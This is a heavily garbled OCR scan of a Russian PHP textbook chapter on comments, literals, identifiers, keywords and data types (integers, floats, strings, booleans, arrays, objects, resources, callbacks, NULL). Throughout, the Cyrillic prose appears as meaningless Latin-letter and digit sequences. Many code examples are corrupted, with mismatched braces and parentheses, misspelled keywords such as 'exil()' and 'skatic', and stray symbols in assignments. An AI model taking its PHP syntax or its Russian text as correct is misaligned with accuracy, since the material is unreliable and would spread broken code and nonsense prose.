BaTeJbHOCTb CUMBOJIOB */. TOT TUIl KOMMEHTapHeEB, B OTJINYME OT PaHee MpH-
BeJIEHHbIX IPUMEPOB, MOXXHO Pa361BaTh Ha HECKOJIBKO CTPOK.

PaccMoTpuM nprMep MHOTOCTPOYHOro KOMMeHTapusi B ctule C:

/™ B 3tom paspene mbi NpUCBOUM
3HOYEHMS HECKONbKNM NepemeHHbIM. B aTom Het
HUKOKOFO CMBICNA, HO MbI A@NAEM 3TO ANS YAOBONLCTBUS

/“

$a=1;

$b=2;

$c=3;

$d=4;

HOCKOJIbe KOMMEHTApUHU B CTUJIE C O6JIaZIalOT CrieuuaJibHbIMU MapK€paMHU Ha-
YaJjla U OKOHYaHiisd KOMMEHTapHs, Bbl MOXETE JIETKO HHTErPUPOBATh UX B Balll
Koa:

/™ DT KOMMEHTAPMM MOXHO TECHO WHTErpPMPOBATH C
xopom */ $e = 5; /* Bce otnmuno paboraer */

KommenTapuu B ctuse C, B OT/IMYHE OT APYTMX THIIOB, MOIJIOAIT MapKep
okoHuyanusi PHP-kona. Hanpumep:

<?php
$I=12;
$m=13;

/" 3peck HQuMHOETCS KOMMEHTapH#

>

<p>Heuro, 4t0 BUI XOTUTE OTOBpPa3NTL 8 HTML HTML.</p>
<2=$n=14; 2>
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echo("I=$ m=$m n=$n\n");
2><p>Teneps <b>310</b> npocto HTML...</p>

=12m=13 n=
<p>Teneps <b>310</b> npocto HTML...</p>

Bri MoXxeTe OTQ)OpMaTHpOBaTb KOMMEHTapHH, KaK BaM 3aX0O4YE€TCA:

/* Her nukakmx
CNeuMansHbix NPaeun GOPMATUPOBAHHUS
KOMMeHTapHes

*/
KommeHnTapuu B ctisie C MOTYT ObITh MOJIE3HBI IJ1s1 OTKJIIOYEHHUS CEKIHii Koaa.
B ciexyroieM mpuMepe Mbl OTKJII0YaeM BTOPOH U TPETUI ONEPATOPHI, IOMECTHB
nx B 6;10k KOMMeHTapust. YTOOBI BKJIIOUNTH 3TOT KOJ CHOBA, BaM HY>XKHO y/IaJIUTh
MapKepbl KOMMEHTApHS:

$t=¢;
/*
$g=7; # 3710 ApyroM TMN KOMMEHTapKs
$h=8;
*/
OnHako 6y/6Te OCTOPOXHBI U He BJI0XHUTE OJOKM KOMMEHTapHEB:

$i=9;

/t

$i=10; /* 1o kommenTapuii */

$k=11;

HexoTopebiit 3aKOMMEHTUPOBAHHBIM TEKCT

*/
B arom ciayyae PHP nHeycnemHo mbiTaeTcsi BBIIOJIHUTD ONEPATOP “HekoTopsiit
30KOMMEHTUPOBAHHBIA TekCT” (a 9TOT TEKCT HHUKAaK HE ABJISETCA OHepaTOPOM!)
Y BO3BpaLIaeT OMIHOKY.

2.1.5. Jlurepansl

JluTtepan - 3T0 3HaYeHHE TaHHBIX, KOTOPOE BCTPEYAETCS HETIOCPEICTBEHHO B IPO-
rpamme. [Ipumepsl 1utepaTopoB B PHP:

2001

OxFE

1.4142
“Mpusert, mup”
‘Hif

true

null
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2.1.6. Upentndumkaropsl

Wnpentudukarop - ato npocto umsi. B PHP uaenTrdUKaTOPbl HCIOIb3YIOTCS
JUIsT IMEHOBaHUS TIePEMEHHbBIX, (PYHKIIMH, KOHCTAaHT U KJaccoB. IlepBoIil cuM-
BoJI uaeHTU(HrKaTopa xoxeH 661Tb ASCII-cuMBOJIOM (B BEpXHEM HJIH HHXKHEM
PETHCTPE) MM CUMBOJIOM TOXYEPKHUBAHUA (_) MM JIIOOBIM APYTMM CHMBOJIOB
mexnay ASCII 0x7F u ASCII 0xFE IlocJie mepBoro cuMBoJia JOMYyCKalOTCs JIIO-
6ble aaBUTHO-LIU(PPOBBIE CAMBOJIbI.

MpumeyaHune. Bbl Takke MOXETE MUCNOb30BaTb PYCCKONA3bIYHbLIE
MMeHa nepeMeHHbIX, Hanpumep, <? $ums = “Mean”; echo $ums; 2>. Oa-
Hako, UCMONb30BaHWE CUMBOJIOB HaLMOHaNbHbIX andaBuUTOB B UOEH-
TudukaTopax (B TOM 4UCne U CUMBONOB PYCCKOFO A3blka) HE PEKO-
MEHAOYETCH U CHUTAETCA AYPHbLIM TOHOM.

WmeHa nepeMeHHbIX

I/IMeHa MEPEMEHHDBIX BCETrAa AOJIXXHbI HAYMHATbCA CO 3HaKa aoJiapa ($) HO'
CJIe 3HaKa L[OJIJIapa OOJIXKHA UATHU 6yKBa HUJIHN CUMBOJI HOL['{epKHBaHI/IH, a 3aTeM
yYXe 6yKBbI, ]_[P[(bpbl, CHUMBOJIbI ITIOAYEPKUBAHHUA B JHO6OM KOJIM4eCTBe, UCKJIIO-
4yasgs CUMBOJIbI rIpO6eJIOB. I/IMeHa IMEPEMEHHDBIX YYyBCTBUTEJ/IbHbI K PETUCTPY CUM-
BOJIOB. PacCMOTPUM HECKOJIBKO IIPUMEPOB JOIYCTUMBIX MMEH [IEPEMEHHBIX:

$bill

$head_count

$MaximumForce

$I_HEART_PHP

$_underscore

$_int
A BOT HECKOJIbKO HEAOMYCTHUMbIX UMEH IIEPEMEHHDbIX:

$not valid // ucnons3osan npoben B nepemenHoyi
$ // MCnonL30BaH HEAONYCTUMBIH CUMBON NOCNe AONNAPA
$3wa // ncnons3osaxa uudpa nocne gonnapa

HOCKOJ’Ibe InepeMeHHbl€ YYBCTBUTEJ/IbHBI K PETUCTPY CUMBOJIOB, BCE 3TO - pa3-
Hbl€ IIEpEMEHHbIE!

$hot_stuff $Hot_stuff $hot_Stuff $HOT_STUFF
UmeHa dyHKLMiA

VMena byHKIMH CJIeAYIOT TEM e PAaBUJIaM YTO U MEPEMEHHBIE, TOJbKO He Ha-
YMHAIOTCS CO 3HaKa jaoJuiapa ($) U He 4yBCTBUTENbHBI K perucTpy (6osee mos-
pobHO yHKIMK 06cyxaa0Tcsa Gosee moapoOHO B TiiaBe 3). PaccMoTpuM He-
CKOJIBKO IONMYCTUMbIX UMEH (DYHKIIHIA:
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tally

list_all_users

deleteTclFiles
LOWERCASE_IS_FOR_WIMPS
_hide

Bce 3T uMeHa OTHOCSITCST K OJTHOM M TOH e (PyHKLIHH:
howdy HowdY HOWDY HOWdy howdy

Wmena knaccos

Mmena ki1accoB COOTBETCTBYIOT CTaHAAPTHBIM NpaBuiiaM st PHP-unentudu-
KaTOPOB ¥ OHU TaK>Ke He YyBCTBUTENIbHBI K DETUCTPY:

Person
account

Nms knacca stdClass 3ape3epBHPOBAHO.
KoHcTaHTh!

KoncraHTa - 310 MAeHTHhUKATOD U1 TpocToro 3HaueHusi. Koncrantamu moryt
OBbITH TOJIBKO JIornueckue (OyJieBbie), eJible, BELIECTBEHHbIE 3HAUEHHSI U CTPO-
ku. Kak To/1bKO KOHCTaHTa yCTaHOBJIEHA, OHa OOJIbIIE HE MOXKET ObITh H3MEHEHA.
OnpenenuTs KOHCTAHThI MOXHO C TOMOUIBIO QYHKINH define():

define('PUBLISHER’, “Nauka i Tekhnika”);
echo PUBLISHER;

2.2. Knoyessbie cnoBsa

KitoueBsbie cioBa (MM 3ape3epBHPOBAHHbIE CJIOBA) - 3TO CJIOBA, ONpPeieJeHHbIE
B sI3bIKe /17151 ero 6a30Boii (hyHKIIMOHATBHOCTH. Bbl HE MOXKETE UCTIOIB30BATD ATH
CJI0Ba B MUMeHaX MepeMeHHbIX, (GYHKIMSIX, KJaccaXx WM KoHCTaHTax. Bee kio-
YeBble CJI0Ba SIBJISIOTCS PEriCTpO-He3aBUCUMbIMU. B Tabsmue 2.1 npuBeneHsr
KJoueBbie cioBa PHP.

Tabnuua 2.1. Knioyesblie cnosa PHP

_ CLASS__ echo insteadof
| _DIR__ else interface
| _FILE__ elseif isset()
- _ FUNCTION__ empty() : list()
_ LINE__ enddeclare namespace
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__METHOD__ endfor new

_ NAMESPACE__ endforeach or
__TRAIT__ endif print
__halt_compiler() endswitch private
abstract endwhile protected
and eval() public
array() exil() require

as extends require_once
break final return
callable finally (Haunnas ¢ PHP 5.5) skatic

case for switch

catch foreach throw

class function trait

clone goto try

const "global unset()
continue if use

declare implements var

default include while

die() include_once xor
do “ instanceof yield (naunHas ¢ PHP 5.5)

B nonosiHeHue Bbl He MOKETe UCIOJIB30BATh B KayeCTBe HAEHTH(HHUKATOPOB HMe-
Ha BcTpoeHHbIXx PHP-pyHkuwmit. IlonHelil cnucok 3tux ¢GyHKUMI npuBeneH
B [Ipunoxenumu.

2.2. Tunbl AaHHbIX

Assixk PHP npenocTasisier BoceMb TUIOB 3HAaUY€HUI MJIM THUIOB AaHHbIX. Ye-
ThIPe THIIA SIBJASIIOTCS CKaJISIPHBIMU (COAEpKaT OJHO 3HAUeHHe): LieJible YHC-
JIa, YMCJa ¢ MJIaBaouiei 3ansiToii, CTpokHu 1 OyJieBble (JIorHyeckue) 3HaYeHMUsl.
[{Ba cocTaBHBIX: MacCUBbI M 00beKThl. OcTaBlIMECS ABa ABIAIOTCSA ClIEeLMaIbHbI-
MM TUnaMu AaHHbIX: pecypc 1 NULL. Yucaa, 6ysieBbie (JOrH4ecKue), pecypehl
1 NULL nosiHoCTbIO OnucaHbl B 3TOH rJiaBe, a CTPOKH, MACCHBbBI H 0OBEKTHI pac-
KPBIThI B COOCTBEHHBIX IJ1aBax (4, 5 u 6).
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Llenbie uncna

Ilenbie yncna (integer) - 3TO YKCJIa, He UMelolee APOOHOI YacTH, Hanpumep, 1,
12 u 256. /I[uana3oH AOCTYMHbIX 3HAYEHHUI 3aBUCUT OT Ballled MmaathopMbl, HO
00bI4HO 3TO OT -2,147,483,648 no +2,147,483,647. Kak BuguTe, 3TOT AMANA30H
3KBUBAJIEHTEH MaNa30Hy TUMa AaHHbIX long B komnuisaTope C. K coxanenuto,
crauaapt C He 3aJ1aeT TOYHO AMANa30H THMa long, M03TOMy Ha HEKOTOPBIX CHCTe-
MaX Mana3oH TUMA integer MOXeT OTJIMYAThCSI OT MPUBEEHHOTO 3/1€CH.

lenounceHHble TUTEPATIBI MOTYT OBITH 3aMHUCaHbI B JECSITUMHOM, BOCbMEPHY-
HOM, 1LIECTHaJLaTePUYHOM UJIM ABOMYHOM BUJaX. /lecATUYHbIE 3HaUEHUS Npea-
CTaBJIEHbI KaK Mocsef0BaTebHOCTh Ludp 6e3 anaupyoero HyJs. [Tocaenoa-
TeJIbHOCTb MOXET HaUMHATbCsI CO 3HaKa IJIoc (+) uiau MuHyc (-). Ecau 3Hak He
yKa3aH, M0/ipa3yMeBaeTCs MOJIOXKHUTENbHbINA 3HaK. [IpuMepsl Lesbix yuces, 3a-
[IMCAHHBIX B IECITUYHOH cUCTeMe:

1998
-641
+33

B BoCbMepHYHON cHCTeMe YHCJIO IpeJCTaBJseTCs] KaK I10CJeA0BaTeJbHOCTDb
uucp ot 0 10 7 ¢ tuaupyowuM HyeM. [10106HO AeCATUYHBIM YKCIaM, BOCbMe-
pUYHbIE TAKXKE MOTYT ObITH MOJIOXKUTENBHBIMU HJIM OTPULIATEIbHBIMU. PaccMo-
TPHM HECKOJIbKO TPUMEPOB BOCbMEPHUYHBIX 3HAaUE€HUH U 9KBUBAJIEHTHbIE UM Jle-
CSITUYHBIE:

0755 // necatmunoe 493
+010 // necsatmunoe 8

TecTHanuaTepuyHble 3Ha4E€HUsT HAYMHAIOTCST € MOCJIE]0BaTeJbHOCTH Ox (MJIH
C TOCJIea0BaTeNbHOCTH OX), 3a KOTOPOHM CJeayeT IMOCJeJ0BaTeIbHOCTh LUbp
(0-9) usnu 6ykB (A-F). BykBbl MOTyT ObITh, KaK B HHXKHEM, TaK U B BEDXHEM pe-
TUCTpE, HO 0OBIYHO 3aMUCHIBAIOTCS B BepxHeM peructpe. [1oqo6HO npeasiaymmum
3HAYEHHUsIM, Bbl MOXKeTe J0OABUTh 3HAK IJIIOCA UJIM MUHYCA B IIECTHAALIATEPUY-
Hble YHCJIa:

OxFF // necatmunoe 255
0x10 // necatnynoe 16
-O0xDAD1 // necatuunoe -56017

Ilesbie yncia TakKe MOTYT ObITh MPEACTABJIEHBI B IBOMYHOM cucTeMe. Takue
YHCJIa HAUMHAIOTCS € MOCJIe0BaTeNbHOCTH Ob (Kyu ¢ OB), 32 KOTOPOH CJIeayeT
nocsenoBatenbHOCTh Hbp ot 0 10 1. [TogobHO APyrMM cucTeMaM CUMCIEHHS,
BbI MOXKeTe 100aBUTh 3HAK IIIOCA UJTH MUHYCA:

0b00000001 // necatnunoe 1
0b00000010 // necatnunoe 2
-0b10 // necatmunoe -2
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Ecau Bbl mombiTaeTech COXPaHUTb CJIMIIKOM 0OJIbIIIOE 3HAYEHHE KaK LEJIoe
(integer), oHo GyeT aBTOMaTHYECKH NPeobpa30BaHO B 3HaUEHHUE C IJIaBaloLIen
3ansroii (floating-point).

Cosert. Ucnonbayiite dyHKUMIO is_int() (Wnn ee NceBAOHUM is_inte- :
ger()), 4TO6LI NPOBEPUTL, ABNSETCA NN YUCAO LENLIM: ;
5 i (is_int($x)) { 5

// $x - uenoe uncno

Yucna c nnasaowen TOHKON

Uucaa ¢ nnaBaroei TOYKo# (MX TakxKe YacTO Ha3bIBAIOT BellleCTBEHHBIMH YHC-
JlaMHM WJIM YMCJIaMM C TJIaBarollell 3ansToi) NpeACTaBJeHbl B BH/€ YHCJOBBIX
3HayeHHUH C IeCATHYHBIMHU 3HaKaMH. [1010OHO 11eJIbIM YKCIaM, HANa30H YUCE
C TUIaBaollei TOYKOU 3aBUCUT OT maTopmbl ManiuHbl. B PHP nuana3on Be-
1[ECTBEHHbIX YHCEJl IKBUBAJIEHTEH /IMana3oHy TUna aaHHbix double komnunsito-
pa C. O6bruno ato ot 1.7E-308 10 1.7E+308 ¢ 15 3Hakamu TouHocT. Eciu Bam
HY>XKHO 60JIb11Ie TOUHOCTH MK HoJlee IMPOKUI [Uana30H 3HaueHHii, BbI MOXeETe
BocIoJsib30BaThbes paciiupenusmu BC unu GMP.

PHP pacno3naer uncia ¢ miaBaloliei Toukoii B AByX ¢opMaTax. BoT oauH u3
HUX, KOTOPBIHA Mbl HCIIOJIb3Y€eM KaX/IbIH JIEHb:
3.14

0.017
7.1

Ho PHP rak>e pacrno3HaeT yucja B HAyYHOH 3aTUCH:

0.314E1 //0.314*10" unu 3.14
17.0€-3 // 17.0*107{-3) unn 0.017

3HayeHHs C MJIaBakolleil TOYKON TOJBKO MPHOJIU3UTENIBHO MPEACTABIAIOT YHC-
na. HanpuMep, Ha 60/bIIMHCTBE CUCTEM 3.5 Ha CaMOM JieJie IPECTAaBIEHO Kak
3.4999999999. 310 03HayaeT, YTO BaM HYXXHO ObITh MPEAEIbHO aKKyPaTHbIMH,
KOT/Ia CPaBHUBAETE /IBa YUCJIA C TJIABAIOIIEN TOYKOH, UCITONIb3YsT ==.

HOpMaJIbeIM SABJIAETCA MMOAXO0/, KOrJa BEUIECTBEHHbIE YU CJIa CPABHHBAIKOTCA 10
HECKOJIbKUX NECATUYHbIX DA3PAA0B!

if {intval($a * 1000) == intval($b * 1000}) {
// “cna paBHbl A0 TPeX AeCATUUHBIX PA3PSAOE




;
/ Coser. Mcnonbayite PpyHkumIO is_float() unu ee ncesaoHum is_real(), &
4TOGbI NPOBEPUTH, ABNSETCS IN 3HAYEHME YUCSIOM C NNaBaloLei 3a- &
‘ nATON: ‘
! "
if (is_float{$x)) { ;
' // $x - umcno ¢ nnaeaiowei 3anaToi :A
" } E'i

soanasooaRsenan TR L LY S Y S e g

Crpokn

CTpoKM OYeHb Y4aCTO UCIOJIb3YIOTCS B BeO-npuioxeHusx, nosromy PHP Ha
YPOBHE si/ipa MOJIIePKMUBAET OIepalluy 10 co3aanuio u o6pabotke cTpok. CTpo-
Ka - 3TO 10CJIeZI0BAaTEIbHOCTh CUMBOJIOB TPOU3BOJIbHOM [1MHbI. CTPOKOBBIE JIH-
TepaJibl I0JIXKHBI ObITh 3aKJIIOYEHBI B IBOMHbBIE HJIU OZIMHAPHbIE KABbIYKH:

'6onblas cobaka'
“xpacHas mawuHa”

B nBOIHBIX KaBbIYKax Bbl MOKETE HUCII0JIb30BaTh WHTEPINOJIALNIO IIEPEMEHHDIX,
4Yero HeJib3sd AeJ/1aTb B OAWHAPHbIX KaBblYKaX:

$name = “Bunn”;
echo “Mpuser, $name\n”;
echo ‘Mpueert, $name’;

BriBox:

MNpueert, bunn
Mpweer, $name

B nBoiiHBIX KaBbIYKaxX MOXKHO TaKXe HCI0JIb30BaTh Esc-mocienoBaTebHOCTU

(ynpasJisiioniye 1moc/e10BaTeJbHOCTH), KaK MOKa3aHo B Tabiuie 2.2.

Tabnuua 2.2. Esc-nocneaoBaTensHOCTH, UCMONb3yeMbie B ABOMHbIX KaBblyKax

" Esc-nocnenoﬁaTeanoch Kakoii cumBon npeacraBnser
\” [BoiHan kaBbl4ka
\n .......................................................................................... ...r.-'OB..a; CTDOKa b R
\r Bo3spar kapeTtku
\t Tabynauma
i O6paTHb|i71 cneu: ..............................................................
\$ 3Hak gonnapa
\{ Nesas purypHas ckobka
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—Es:-_ﬁ;;;;io;;'ré;b;gcn Kaxo# cumBon npeacrasnser
¥ il Ar__]paBa;‘ ¢w”—yp;a qCKoﬁp(a £ R -
A\ JNesas kBaapaTtHas ckobka
..... \ ] e ﬁpaBaq"KéahbaTHaq CKO 6.(3 e
\0.\777 - .";S_Eli—cgm;aon, 3_aAaHHbll71 B BOCbMEPWUYHOM BUAE
\xO .. \xFF ASCII-cMMBON, 3aAaHHbIN B LLIECTHAALATEPUHHOM BMAE

B omuHapHBIX KaBbIYKaX PACIO3HAIOTCS TOJIBKO MocjenoBaTeabHOCTH \\ (006-
paTHbIii citernn) U \' (anoctpod):

$dosPath = 'C: \\WINDOWS\ \SYSTEM";

$publi sher="Nera O\'ApraHbsH’;

echo “$dosPath $publisher\n”;
C:\WINDOWS\SYSTEM MMets O'ApraHbsH

Yro6bl MPOBEPUTH, PABHbI JIX IBE CTPOKH, UCIIOJIb3yHTE OMEPATOP CPABHEHUS ==:
if ($a==$b) {

e )
echo “crpokn a u b pasHm”;

CoseT. YT06bl NPOBEPUTL, ABNAETCH NN 3HAYE HNE CTPOKOW, NCNOb-
3yinTe PyHKUMIO is_string(): :
if (is_string($x)) {

// $x - 310 cTpOKQ |

PHP npenocrasisier onepatopbl U (hYHKIMH 1JIs1 CDaBHEHUsI, pa30opa, MOUCKa,
3aMeHbI CTPOK, a TaKxe creluanbubie Gynkuuu mis paborst ¢ HTTP, HTML,
SQL-konuposkamu. [Tockoabky B PHP oyenb MHOro GyHKIUMH NJ1s1 MAHUITYJISI-
IUH cO CTPOKAMHU, UM NTOCBSIIIIEHa OTAeJIbHAS IJ1aBa B 9TOH KHUre (CM. IJ1. 4).

Jlornyeckue (byneBbi) 3Ha4eHUS

Jlornyeckoe 3HayeHKe MO3BOJISIET CKA3aTh, HCTHHHO YTO-11O0 uiau Het. [Tono6-
HO IPYruM si3blkam nporpammupoBanusi, PHP onpeznensier HekoTopeie 3Haue-
HUe Kak true (McTUHA), a Apyrue - Kak false (105xb). ICTHHHOCTD MK JIOKHOCTh
OTIPE/IeJISIETCS] YCIIOBHBIM OTIEPATOPOM, HAalIPUMEP:

if ($alive){ ... }

B PHP cienymomue 3HaueHus: 9KBUBAJEHTHHI fal se:

¥

..................................................................................
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e KiroueBoe c10Bo false

e [lesoe yncio O

e Yuco ¢ nuaBamouiel 3anstoi 0.0

e Ilycras cTpoka (“") u cTpoOKa, conepxaias “0”
e Maccus c 0 3;1eMeHTOB

e O6bekT 6e3 3HayeHuit U PyHKIMiT

e 3nauenue NULL

OtanuHoe ot false 3HaueHue, SIBISE€TCS UCTUHHBIM 3HaUeHHeEM (true), BKJIIOYast
BCe 3HaUeHHUs peCcypcoB (OMMcaHbl Ha cTpaHulle 28 B pa3zese “Pecypchi”).

st 6osbiueit ichoct PHP npenocTasiisieT KioyeBble CI0BA true U false:

$x=5; // $x - uctuHHoE 3HauYeHHE
$x =true; // 6onee scHo, ecnu sanmcaTh ero Tak
$y="",  // $y - noxnoe snauenue

$y =false; // 6onee scHo, ecnu sanucats ero Tak

Coger. MicnonbayiiTe hyHKLWMIO is_bool(), 4To6kI NPOBEPUTL, ABNSETCA !
1IN 3HAYEHNE NOTUHECKUM:
if (is_bool($x}) { ¢

// $x - nornyeckoe

Maccusbl

MaccuB conep>xuT rpyniy 3HaueHUiH, JOCTYN K KaXI0My U3 3HaUY€HUid Bbl MO-
JKeTe MOJYYUTh 10 UHIEKCY ~ HOMEPY MO3ULIMU (HOMEp — 3TO YUCJIO, IIPU 3TOM
0 cooTBeTCTBYeT NepBOii MO3UIMH ) UK HEKOTOPOMY HUMEHU (CTPOKE), KOTOPOe
Ha3bIBAETCS ACCOLIUATUBHBIM UHIEKCOM:

$person[0] = “Spucon”;

$person[1] = "Bankens”;

$person[2] = “Kpannep”;

$creator[' Namnouxy'] = “Damncon”;
$creator['PotopHsiit peuratens'] = “Bankens”;
$creator('Tyaner'] = “Kpannep”;

KoncTpykuus array() co3naer MmaccuB. PaccMoTpum aBa npuMepa:

$person = array("Saucon”, “Baxkens”, “Kpannep”);

$creator = array('Nlamnouky’ => “Spucon”,
‘PotopHuiit peuratens’ => “Bankens”,
‘Tyanet’ => “Kpannep”);
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BMecTo KOHCTpyKUMH array() HaunHas ¢ Bepcun PHP 5.4 nns cosmanus mac-
CHUBOB MOXXHO MCIOJIb30BaTh COKpallleHHYIo 3anuch []. Hampumep, mepenu-
1IeM OIpe/ieJieH!e TIEPBOTO M3 BhIIIENPUBEAEHHBIX MACCUBOB B COKPaLIEHHOM
dopme:

$person = ["Dauncon”, "Bankens”, “Kpannep”]; // Haumnas ¢ PHP 5.4

PaccMOTpUM HECKOJIBKO IMKJIOB, MO3BOJSIOLIMX “IPOUTHUCH” MO 3jeMeHTaM
MaccuBa (HauboJiee 4acTo MCIOJIb3yeTCsl IIUKJI foreach):

foreach ($person as $name) {
echo "Mpueer, {$name}\n";

}

foreach ($creator as $invention => $inventor) {
echo “{$inventor} coanan {$invention}\n”;

}
BriBoa:

MNpueer, SaucoH

MNpuser, Bankensb

MNpueer, Kpannep

SpmncoH coapan Jlamnouky

Wankel coanan PotopHuiii asuratens
Crapper cospan Tyaner

Brl MoXeTe oTCcOpPTMPOBATh 31EMEHTHI MAaCCHUBa C MOMOIIBIO Pa3HBIX QYHKIIMIA
COPTUPOBKH:

sort{$person);
// $person teneps = array("Barkens”, “Kpannep”, “Saucon”)

asort($creator);

// $creator renepsb = array('PotopHuiii geuratens'  => “Bankens”,
// ‘Tyaner’ => "Kpannep”,
// ‘Namnouky’ =>"Baucon”);

;
Cosert. Wcnonb3yinte @YHKUMIO is_array() Ans nposepku, NBNSA- |
L3
eTCce N 3Ha4YeHNEM MACCUBOM: :
e
if (is_array($x)) { o
// $x - maccue r
:
;

B PHP ectb MHOro caMbix pasHbiX GYHKIMIA 17151 pabOThI C MACCHBaMHU, HO OHH
OyAyT pPacCMOTDPEHBI B IISITOM IJIaBe 3TOH KHHTH.
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ObvekTn

PHP rakxe moazepxuBaeT 00beKTHO-OPUEHTHPOBAHHOE MPOrPaMMHPOBAHHE
(OOII). OOII npexocTtasJsieT 0coObliA MOAXO/ K MPOEKTUPOBAHUIO, YIIPOLIAET
OTJIa/IKy M 00CTy>)XMBaHHUE, @ TAKXKeE Jies1aeT y100HbIM IOBTOPHOE UCIOJIb30BaHUE
koga. ITogpo6Ho o OOIT B PHP 5 Mbl moroBopum riase 6.

Knaccol - aT0 KHPNIUYKMKKM 06BEKTHO-OpHEHTHPOBaHHOTO au3aiiHa. Knace - ato
orpejieJieHe MHOXECTBA 0OBEKTOB, UMEIOLIMX OOLILYIO CTPYKTYPY, COCTOSIIILYIO
13 CBOICTB (NepeMeHHbIX ), U obliiee MoBeJeHHE, COCTOsILIee U3 METOIOB ((PyHK-
uuit). Kimaccol onpenensitorcst KJI0YEBbIM CJIOBOM class:

class Person

{

'

public $name ="';
function name ($newname = NULL)

if (tis_null($newname)) {
$this->name = $newname;

}

return $this->name;

}

Kak Tosbko kiacc OIpENEJIEH, Bbl MOXETE CO3JaTh HA €ro OCHOBE JHO60€ YHUC-
JIO O6'beKTOB (aKBeMHJIHpOB KJIacca). OﬁbeKTbI ONPENENIAIOTCA C IIOMOIIBIO KJTIO-
4YE€BOTI'O CJIOBA new, a4 IOCTYII K CBOICTBaM U MEeToaJaM O6'beKTa MO>XHO MOJY4YHUTb
C MOMOILIBIO KOHCTPYKUHUH ->:

$ed = new Person;

$ed->name('damncon’);
echo "Mpuser, { $ed->name}\n";

$tc = new Person;
$tc->name('Kpannep');
echo “Mpueer, {$tc->name}\n";

Mpuset, Saucon
Mpuset, Kpannep

[1poBepUTD, ABASETCS JIM 3HAYEHHE OOGBEKTOM, MOXHO C NMOMOLIbIO (PYHKLHMH
is_object():
if (is_object($x)) {
// $x - obvexr
}

[Toapo6HO Kaacchl U 0OBEKTHI OMUCaHbI B raBe 6 (B TOM 4YKMCJIe TaM Bbl HaiigeTe
CBeJIEHUS O HACJIeJOBaHUH, MHKATCYJISILIMU M HHTPOCTIEKIINH ).
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Pecypcui

Pecypc (resource) — 310 cneluanbpHasi NepeMeHHas, CoAep Kallasi CChLIKY Ha
BHEIIHUI pecypc. MHOrue Moayu COAep>KaT HeCKOJbKO (PYHKLUMIA A B3au-
MoJeHCTBHUs ¢ BHeITHUM MupoM. Hanpumep, y kaxaoro pacumpenust 6a3sl gaH-
HBIX €CThb KaK MUHHMYM (DYHKIMS IS TOAKTIOUEHUs K 6a3e AaHHbIX, QYHKLMS
A1t OTTPABKH 3amnpoca K 6a3e AaHHBIX U GYHKIMS 3aKPBITHS coequHeHUs ¢ ba-
30ii nanubIxX. [lockosbky y Bac MoXeT ObITh HECKOJIBKO OJJHOBPEMEHHBIX COENH-
HeHU# ¢ 6a30i1 naHHBIX, PYHKIMS MOAKIIOYEHHS] BO3BPAIlAaeT BaM pecypc (MUiIu
JEeCKpPUNTOP) — HEKUi1 YHUKaJIbHBIN uaeHTU(UKAaTOp (MM AECKPUIITOP), TO3BO-
JISTIOLINI BaM UAEHTUDULMPOBATh COEAMHEHHE.

Y KaXxa0ro akTUBHOTO pecypca ecTh CBOM YHUKaJbHbIH naeHTudukarop. Kax-
AbIA uaeHTUUKATOP - 3TO MHIAEKC BO BHyTpeHHel Tabauue PHP, conepxarieit
uHdopMalMio 060 Bcex akTUBHbIX pecypcax. B atoit Tabnuue PHP xpaHuT uH-
(opmaimio o KaxaoM pecypce, BKIO4asi UH(POPMALIMIO O YKCJIE CChUIOK Ha pe-
CypC B Kofie mpuiioxenusi. TUI resource coaepxuT CliellMaabHble YKa3aTeau Ha
OTKpbIThIE (hailiibl, coeuHeHust ¢ 6a30ii JaHHBIX, 00J1ACTH U300PAXKEHUS U TOMY
noxobuoe. Korza nocjaeaHsisi cchliika Ha pecypc MCY€3a€eT, BbI3bIBAETCS PACUIM-
peHMe, co3aaBliee pecypc, YToObl 0CBOOOAUTb MaMsITh, 3aKPbITh COEAMHEHUS
U T.[. J1s1 3TOTO pecypca:

$res = database_connect(); //¢uxtueras dbyHkums coepnrHenms ¢ b
database_query($res);

- $res = “boo”;
// coennrenme c B[l 6ynet aBTOMATHYECKM 3QKPLITO, NOCKONLKY NEPEMEHHAS
// $res 6rina nepeonpeaenena

[IperMy1ieCTBO TaKOit aBTOMATHUYECKOM OYMCTKH JIyyllle 1EMOHCTPUPOBATh Ha
npuMepe bynkimit. Korna ¢yukuus 3aBepiuaer paboTy, aBTOMaTHYECKH OCBO-
60X AAI0TCSI BCE PECYPCHL:

function search() {
$res = database_connect();
database_query($res);

}

Korza GoJiblite HeT CChIJIOK Ha pecypc (HET NepeMeHHbIX TUIA resource, CChUIAo-
IIMXCS HA PECYPC), OH ABTOMAaTUYECKH 3aKPbIBAETCS.

BoabunHcTBO pacumpelmﬁ npeasaraloT OTA€JNbHbIE q)yHKLIHI/I 3aKPbITHA peE-
Cypca. MNx ucnonb3oBaHUE CYUTAETCS XOpOUIUM CTHJIEM U MMOAYEPKHUBAET ypO-
BE€Hb NMPOrpaMMHUCTA: Bbl ABHO 3dKPbIBAETE PECYPC, a4 HE 110JIara€TECh Ha ABTOMaA-
TUYECKYIO0 OYUCTKY.

Onpenenutb, ABISETCA JU 3HAYEHHE PECYPCOM, TMO3BOJSIET (PYHKIIUS
is_resource():
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if (is_resource($x)) {
// $x - pecypc
}

Callback-¢dyHxuuu

Callback-dynkuun - ato hyHKUNM MM MeTOABI OOBEKTOB, UCIOIb3yeMble He-
KOTOPbIMH  ApYyrUMH  (byHKUMsIMH, Hanmpumep, call_user_func(). Callback-
GbyHKUMH TakKe MOTYT OBITh CO3/1aHbI METOIIOM create_function() ¥ ¢ MOMO-
I[bI0 AHOHUMHBIX PyHKIUH (M. TJI. 3):

$callback = function()

{

echo "sm3sana callback-pynkums”;

call_user_func($callback);

BriBog:

swi3ana callback-byrkums

NULL

Z[]IH TUIIAa JaHHBIX NULL AOOIMyCTUMO TOJIbKO OAHO 3Ha4Y€HHUE, IMPEACTABIEHHOE
PETUCTPO-HE3aBHUCHUMbIM KJIIOUEBbBIM ciaoBoM NULL. 3HayeHue NULL npeacran-
JisieT coOO MepeMeHHYI0, Y KOTOPOi HeT 3HayeHus: (M0J06HO 3HAYEHUIO undef
B Perl unu none B Python):

$aleph = “beta”;

$aleph=null; // anayenne nepemennoit norepsiHo

$aleph = Null; // 1o xe camoe
$aleph = NULL; // 1o xe camoe

DyHKuMs is_null() MO3BOJISET IIPOBEPHUTD, HET JIM Y NEPEMEHHON 3HAYEHUS:
if (is_null($x)) {

// y nepementoit $x net anauenmns, $x = NULL;

)

2.3. NepemeHHbie

